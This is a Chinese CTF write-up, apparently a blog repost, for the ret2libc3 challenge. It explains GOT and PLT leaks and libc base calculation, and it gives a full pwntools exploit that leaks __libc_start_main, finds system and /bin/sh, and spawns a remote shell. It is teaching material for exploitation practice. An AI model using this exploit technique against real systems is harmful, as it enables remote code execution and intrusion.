pwn-ret2libc基础

  题源:基本 ROP - CTF Wiki (ctf-wiki.org) ret2libc的例三

这题的特点是:没有system,没有bin/sh。 但是有puts,和gets函数。碰到gets函数基本上又是栈溢出大类中的题目。

 ①先检查保护

②:计算system和bin/sh的实际地址。

核心公式就是:函数真实地址=基地址+偏移量

 那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点

①system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。有的题目会直接告诉我们libc版本,有的就得自己找了。
②即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。我们可以使用libcsearcher获取libc版本

在计算之前我们得先了解一下什么是plt表和got表,参考下面这篇文章。

GOT表和PLT表 - 简书 (jianshu.com)

简单一句话:plt表中存储着函数在got表中的存储地址。起跳转到gott表的作用。而got表用来存储函数的真实地址(但并不是开始就是真实地址,继续看下面有讲解)。  

由于延迟绑定机制,函数在未执行之前的地址都是错的,我们可以动态调试一下看看plt表和got表中的函数地址(切记不要按r执行)。很明显都是0x80系的地址,这很明显不是libc中的真实地址,真实的地址应该是0xf系列的。

然后我们让puts函数执行一次看看会发生什么变化。看看是不是出现好多0xf系列的地址,那个才是真实地址。

 那现在思路就很明显了:

  1. 泄露一个已经执行的函数的地址。(这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。其实gets,puts等执行了的函数也可以)
  2. 获取 libc 版本。(通过libcSearcher)
  3. 获取 system 地址与 /bin/sh 的地址。(根据文章开始的那个公式)
  4. 再次构造payload发送。
  5. 触发栈溢出执行 system(‘/bin/sh’)
  6. 而且还有个小注意点:我们怎么接收__libc_start_main的真实地址?(靠puts函数来输出打印,具体怎么做看下面的exp里面有注释)

 ③:第一次的payload构造过程。

溢出偏移量是0x1c8-0x15c=108,然后32位程序覆盖ebp需要4个字节,所以第一次溢出的偏移量就是108+4=112。

④:第二次的payload 

由于我们第一次payload让程序的执行流返回到了main,而且栈上弹出的两个地址让栈顶降低了8个字节。所以payload如下

payload = b'a' * 104 + p32(system_addr) + b'a' * 4 + p32(binsh_addr)

⑤:最终的exp

from pwn import *
from LibcSearcher import LibcSearcher

io = remote(addr, port)

ret2libc3 = ELF('./ret2libc3')

# 我们得用puts函数把泄露得到的libc_start_main地址返回来
puts_plt = ret2libc3.plt['puts']
# 这个只是获取到got表中的__libc_start_main存储地址。而非__libc_start_main的真实地址。
libc_start_main_got = ret2libc3.got('__libc_start_main')
# 返回main函数的真实地址,没开ASLR的话就是真实的地址。
main = ret2libc3.symbols['main']

# 下面开始泄露真实地址。
# 第一次栈溢出的偏移量
first_padding_addr = (0xffffd1c8 - 0xffffd15c) + 4
# 先覆盖ebp,这是一个很典型的函数调用时的栈帧状态: 先写函数的调用地址(即puts_plt),函数调用完的返回地址(即main),调用函数的所用的参数(即libc_start_main_got)
# 我们通过remote和服务器连接后__libc_start_main就已经执行了,所以这是和pot表中就是他的真实地址,我们再用puts函数将其打印出来,
# 所以下面就可以通过recv方法接收到他的真实地址,这就完成了整个泄露过程。
first_payload = b'a' * first_padding_addr + p32(puts_plt) + p32(main) + p32(libc_start_main_got)
io.sendlineafter('Can you find it !?', first_payload)

# 接受puts函数返回的libc_start_main的真实地址
# u32,u64是解码。
libc_start_main_addr = u32(io.recvline()[0:4])
# 引入新工具:LibcSearcher,根据真实地址查找libc版本
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
# 计算基地址,:基地址:真实地址-在libc中的偏移量
base_addr = libc_start_main_addr - libc.dump('__libc_start_main')
# system和bin/sh的真实地址:基地址+在libc中的偏移量
system_addr = base_addr + libc.dump('system')
binsh_addr = base_addr + libc.dump('str_bin_sh')

# 第二次发送payload。关于他的偏移地址为什么是104?
# 第1次填充112,第2次填充104,是第2次直接跳到main开头地址,所以栈上弹出的2个地址让栈顶降低了
# 另外试一下跳到_start,两次填充的长度就一样了
payload = b'a' * 104 + p32(system_addr) + b'a' * 4 + p32(binsh_addr)
io.sendline(payload)

io.interactive()

总结:

若题目不含有bin_sh,那么程序写入bin_sh的方法有三种:

  1. 找到一个位于.bss段的变量,将字符串写入其中。不能直接往栈上写bin/sh字符串。
  2. 截断字符串。利用strings  文件 |grep sh:就可以找到所有含有sh的字符串,然后就如果有以sh结尾的字符串(因为sh后面是\x0截断符号),就可以被我们利用。
  3. libc版本泄露之后里面存在bin/sh字符串,可以直接用。

有的题目需要我们用read和write函数来泄露。 

那这个时候的payload就有区别了,因为read和write函数需要三个参数。

ssize_t read(int fd,void*buf,size_t count)

ssize_t write(int fd,const void*buf,size_t count);

参数说明:
fd:是文件描述符(输出到command line,就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

0:标准输入 键盘
1:标准输出 显示器
2:标准错误 显示器

猜你喜欢

转载自blog.csdn.net/hacker_zrq/article/details/120605177